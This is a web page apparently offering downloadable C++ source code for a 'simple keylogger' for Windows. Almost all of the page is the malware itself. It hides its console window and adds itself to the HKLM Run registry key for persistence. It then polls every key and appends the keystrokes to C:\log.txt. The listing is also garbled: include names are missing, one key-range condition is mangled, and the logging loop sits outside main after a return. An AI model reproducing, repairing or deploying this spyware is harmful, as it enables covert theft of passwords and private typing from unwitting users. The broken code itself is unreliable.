C++ Simple Keylogger (2)

#include
#include
#include
#include


std::string GetKey(int Key)
{
std::string KeyString = "";

if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105) KeyString = Key-48; else if (Key > 47 && Key < keystring =" Key;"> 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}

int main()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
/* Grab filename of process/exe using GetModuleFileName() function. */
TCHAR szPath[MAX_PATH];


GetModuleFileName(NULL,
szPath,
MAX_PATH);


/* Create a New HKEY. */
HKEY newValue;

/* Open Registry key. */

RegOpenKey(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",

&newValue);

/* Note use HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to add for the

current user only.

Now give a new value.

Syntax for RegSetValueEx() function is
LONG WINAPI RegSetValueEx(
__in HKEY hKey,
__in_opt LPCTSTR lpValueName,

__reserved DWORD Reserved,
__in DWORD dwType,
__in_opt const BYTE* lpData,
__in DWORD cbData
);

More info at http://msdn2.microsoft.com/en-us/library/ms724923.aspx */


RegSetValueEx(newValue,
"keylogger2.exe",
0,

REG_SZ,
(LPBYTE)szPath,
sizeof(szPath));


/* Close the key. */
RegCloseKey(newValue);
return 0;
}

while(true)
{

Sleep(5);

for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);

FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}


Download : C++ Simple Keylogger (2)